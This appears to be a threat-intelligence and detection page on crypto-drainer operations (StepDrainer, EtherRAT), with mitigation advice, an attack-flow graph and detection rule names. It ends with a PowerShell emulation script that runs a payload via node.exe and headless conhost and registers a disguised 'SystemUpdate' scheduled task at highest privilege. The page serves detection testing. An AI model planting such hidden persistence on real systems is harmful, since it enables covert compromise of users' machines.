Crypto Drainers as a Converging Threat: Insights into Emerging Hybrid Attack Ecosystems
Detection stack
- AIDR
- Alert
- ETL
- Query
Summary
The report explains how established cybercrime infrastructure is increasingly converging with cryptocurrency drainer operations, giving rise to hybrid attack ecosystems that put both Web2 and Web3 assets at risk. Threat actors rely on polished phishing pages themed around AI tools or financial services to convince victims to connect their wallets, authorize token transactions, and unknowingly transfer funds across multiple blockchains. Two featured examples, StepDrainer and EtherRAT, demonstrate how this model spans both browser-based wallet draining and Windows malware with blockchain-aware functionality. As a result, the threat now extends well beyond cryptocurrency-native users and reaches deeper into mainstream enterprise environments.
Investigation
Researchers examined the StepDrainer malware-as-a-service operation, including its PHP and JavaScript staging infrastructure and its use of Web3Modal to display convincing wallet connection prompts. They also analyzed the EtherRAT Windows malware, which was delivered through a trojanized TFTP installer, maintained persistence through a Run registry key, and communicated with Ethereum and Solana RPC endpoints. During the investigation, the team extracted indicators such as malicious domains, registry keys, and command-line artifacts tied to both attack paths.
Mitigation
Organizations should block access to known malicious domains, require multi-factor authentication for wallet extensions wherever possible, and monitor systems for suspicious Run registry entries and unexpected Node.js processes. Security teams should also inspect traffic to public blockchain RPC services for anomalous behavior and regularly review browser extensions for signs of tampering or abuse.
Response
If this activity is detected, isolate the affected host immediately, remove the malicious Run registry entry, terminate unauthorized Node.js processes, and revoke all token approvals granted by the impacted wallets. Investigators should then perform forensic analysis to identify any additional payloads or persistence mechanisms and update allow-lists or blocklists to prevent further communication with the identified command-and-control infrastructure.
"graph TB %% Class Definitions classDef technique fill:#99ccff classDef tool fill:#ffcc99 classDef process fill:#ffeb99 classDef operator fill:#ff9900 %% Nodes u2013 Techniques initial_access["<b>Technique</b> – <b>T1204.001 User Execution: Malicious Link</b><br/><b>Description</b>: Victims click a crafted link that launches malicious content."] class initial_access technique delivery_html_smuggling["<b>Technique</b> – <b>T1027.006 Obfuscated Files or Information: HTML Smuggling</b><br/><b>Description</b>: Malicious JavaScript is delivered via a web page that hides the payload in HTML."] class delivery_html_smuggling technique delivery_compile_after["<b>Technique</b> – <b>T1027.004 Obfuscated Files or Information: Compile After Delivery</b><br/><b>Description</b>: Payload is assembled on the host after the initial delivery."] class delivery_compile_after technique delivery_embedded_payloads["<b>Technique</b> – <b>T1027.009 Obfuscated Files or Information: Embedded Payloads</b><br/><b>Description</b>: Payload is hidden inside another file such as JavaScript."] class delivery_embedded_payloads technique delivery_deobfuscate["<b>Technique</b> – <b>T1140 Deobfuscate/Decode Files or Information</b><br/><b>Description</b>: Base64 data is decoded in the browser before execution."] class delivery_deobfuscate technique persistence_run_key["<b>Technique</b> – <b>T1127.002 Trusted Developer Utilities Proxy Execution: ClickOnce</b><br/><b>Description</b>: Installer creates a Runu2011key to launch a malicious node.exe."] class persistence_run_key technique persistence_appcert["<b>Technique</b> – <b>T1546.009 Event Triggered Execution: AppCert DLLs</b><br/><b>Description</b>: DLLs signed with a trusted certificate are loaded to achieve persistence."] class persistence_appcert technique recon_hardware["<b>Technique</b> – <b>T1592.001 Gather Victim Host Information: Hardware</b><br/><b>Description</b>: Malware queries hardware details of the compromised system."] class recon_hardware technique recon_firmware["<b>Technique</b> – <b>T1592.003 Gather Victim Host Information: Firmware</b><br/><b>Description</b>: Malware collects firmware version and BIOS information."] class recon_firmware technique c2_web_protocols["<b>Technique</b> – <b>T1071.001 Application Layer Protocol: Web Protocols</b><br/><b>Description</b>: Uses standard web traffic (HTTP/HTTPS) for command and control."] class c2_web_protocols technique c2_bidirectional["<b>Technique</b> – <b>T1102.002 Web Service: Bidirectional Communication</b><br/><b>Description</b>: Allows twou2011way messaging between implant and server."] class c2_bidirectional technique c2_oneway["<b>Technique</b> – <b>T1102.003 Web Service: Oneu2011Way Communication</b><br/><b>Description</b>: Sends data to server without expecting response."] class c2_oneway technique c2_encrypted["<b>Technique</b> – <b>T1573 Encrypted Channel</b><br/><b>Description</b>: C2 traffic is encrypted to evade detection."] class c2_encrypted technique c2_data_encoding["<b>Technique</b> – <b>T1132 Data Encoding</b><br/><b>Description</b>: Data is encoded (e.g., base64) before transmission."] class c2_data_encoding technique c2_config_repo["<b>Technique</b> – <b>T1602 Data from Configuration Repository</b><br/><b>Description</b>: Configuration data is retrieved from onu2011chain repositories."] class c2_config_repo technique asset_drain["<b>Technique</b> – <b>T1204.002 User Execution: Token Approval</b><br/><b>Description</b>: Victim approves token allowances via injected Web3Modal UI, enabling asset transfer."] class asset_drain technique %% Nodes u2013 Tools / Processes tool_malicious_link["<b>Tool</b> – <b>Name</b>: Malicious Phishing Link<br/><b>Description</b>: Crafted URL that loads the fake trading portal."] class tool_malicious_link tool tool_js_payload["<b>Tool</b> – <b>Name</b>: Obfuscated JavaScript Payload<br/><b>Description</b>: Base64u2011encoded code executed in the browser."] class tool_js_payload tool process_installer["<b>Process</b> – <b>Name</b>: Windows Installer<br/><b>Description</b>: Drops Runu2011key and node.exe."] class process_installer process tool_node_exe["<b>Tool</b> – <b>Name</b>: node.exe<br/><b>Description</b>: Executes the malicious JavaScript after persistence."] class tool_node_exe tool tool_web3modal["<b>Tool</b> – <b>Name</b>: Web3Modal UI<br/><b>Description</b>: Injected UI that prompts user to approve token transfers."] class tool_web3modal tool %% Operators (optional) op_and(("AND")) class op_and operator %% Connections u2013 Attack Flow initial_access –>|leads_to| delivery_html_smuggling delivery_html_smuggling –>|uses| tool_malicious_link delivery_html_smuggling –>|uses| tool_js_payload delivery_html_smuggling –>|enables| delivery_compile_after delivery_compile_after –>|enables| delivery_embedded_payloads delivery_embedded_payloads –>|triggers| delivery_deobfuscate delivery_deobfuscate –>|creates| process_installer process_installer –>|drops| persistence_run_key process_installer –>|may_use| persistence_appcert persistence_run_key –>|executes| tool_node_exe persistence_app_cert –>|loads| tool_node_exe tool_node_exe –>|collects| recon_hardware tool_node_exe –>|collects| recon_firmware recon_hardware –>|feeds| c2_web_protocols recon_firmware –>|feeds| c2_web_protocols c2_web_protocols –>|supports| c2_bidirectional c2_web_protocols –>|supports| c2_oneway c2_bidirectional –>|uses| c2_encrypted c2_oneway –>|uses| c2_encrypted c2_encrypted –>|encodes| c2_data_encoding c2_data_encoding –>|stores_config_in| c2_config_repo c2_config_repo –>|provides| asset_drain asset_drain –>|uses| tool_web3modal "
Attack Flow
Detections
Possible Persistence Points [ASEPs – Software/NTUSER Hive] (via registry_event)
View
NodeJS Binary Executing From Uncommon Location (via cmdline)
View
Possible Antivirus or Firewall Software Enumeration (via process_creation)
View
LOLBAS Conhost (via cmdline)
View
Suspicious CURL Usage (via cmdline)
View
Possible Evasion Checks (via powershell)
View
Possible Publicnode Ethereum Abuse Attempt As C2 Channel (via dns_query)
View
Possible Data Infiltration / Exfiltration / C2 via Third Party Services / Tools (via proxy)
View
Possible Data Infiltration / Exfiltration / C2 via Third Party Services / Tools (via dns)
View
Detection of EtherRAT Persistence Mechanism Using conhost.exe in Headless Mode [Windows Process Creation]
View
EtherRAT PowerShell Command Execution for System Reconnaissance [Windows Powershell]
View
Simulation Execution
Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.
-
Attack Narrative & Commands
The adversary has already placed a malicious JavaScript file (
payload.js) on the target. To achieve persistence, they use the installednode.exebinary to startconhost.exein headless mode, which then loads the JavaScript payload. This technique avoids visible console windows and blends into normalnodeusage.- Drop the malicious payload (
payload.js) to a temporary location. - Execute
node.exewith a command that spawnsconhost.exe --headlesspointing to the payload. - Create a scheduled task that runs the same command at system startup, providing persistence.
- Drop the malicious payload (
-
Regression Test Script
# EtherRAT Persistence Simulation – PowerShell # ------------------------------------------------- # 1. Prepare malicious JavaScript payload $payloadPath = "$env:TEMPpayload.js" @" // Minimal malicious JS – in reality this would load the EtherRAT implant const { exec } = require('child_process'); exec('calc.exe'); // Example side‑effect "@ | Set-Content -Encoding UTF8 $payloadPath # 2. Locate node.exe (assume it is in PATH) $node = (Get-Command node.exe).Source if (-not $node) { Write-Error "node.exe not found in PATH." exit 1 } # 3. Build the conhost command line $conhostCmd = "C:WindowsSystem32conhost.exe --headless `"$payloadPath`"" # 4. Launch via node.exe (this creates the parent‑child relationship) $script = "require('child_process').exec(`"$conhostCmd`")" & $node -e $script # 5. OPTIONAL: Create scheduled task for persistence $taskName = "SystemUpdate" $action = New-ScheduledTaskAction -Execute $node -Argument "-e `"$script`"" $trigger = New-ScheduledTaskTrigger -AtLogOn Register-ScheduledTask -TaskName $taskName -Action $action -Trigger $trigger -RunLevel Highest -Force -
Cleanup Commands
# Remove scheduled task Unregister-ScheduledTask -TaskName "SystemUpdate" -Confirm:$false # Delete payload Remove-Item -Path "$env:TEMPpayload.js" -Force # Stop any lingering conhost processes spawned by the test Get-Process conhost -ErrorAction SilentlyContinue | Where-Object { $_.Path -eq 'C:WindowsSystem32conhost.exe' -and $_.CommandLine -match '--headless' } | Stop-Process -Force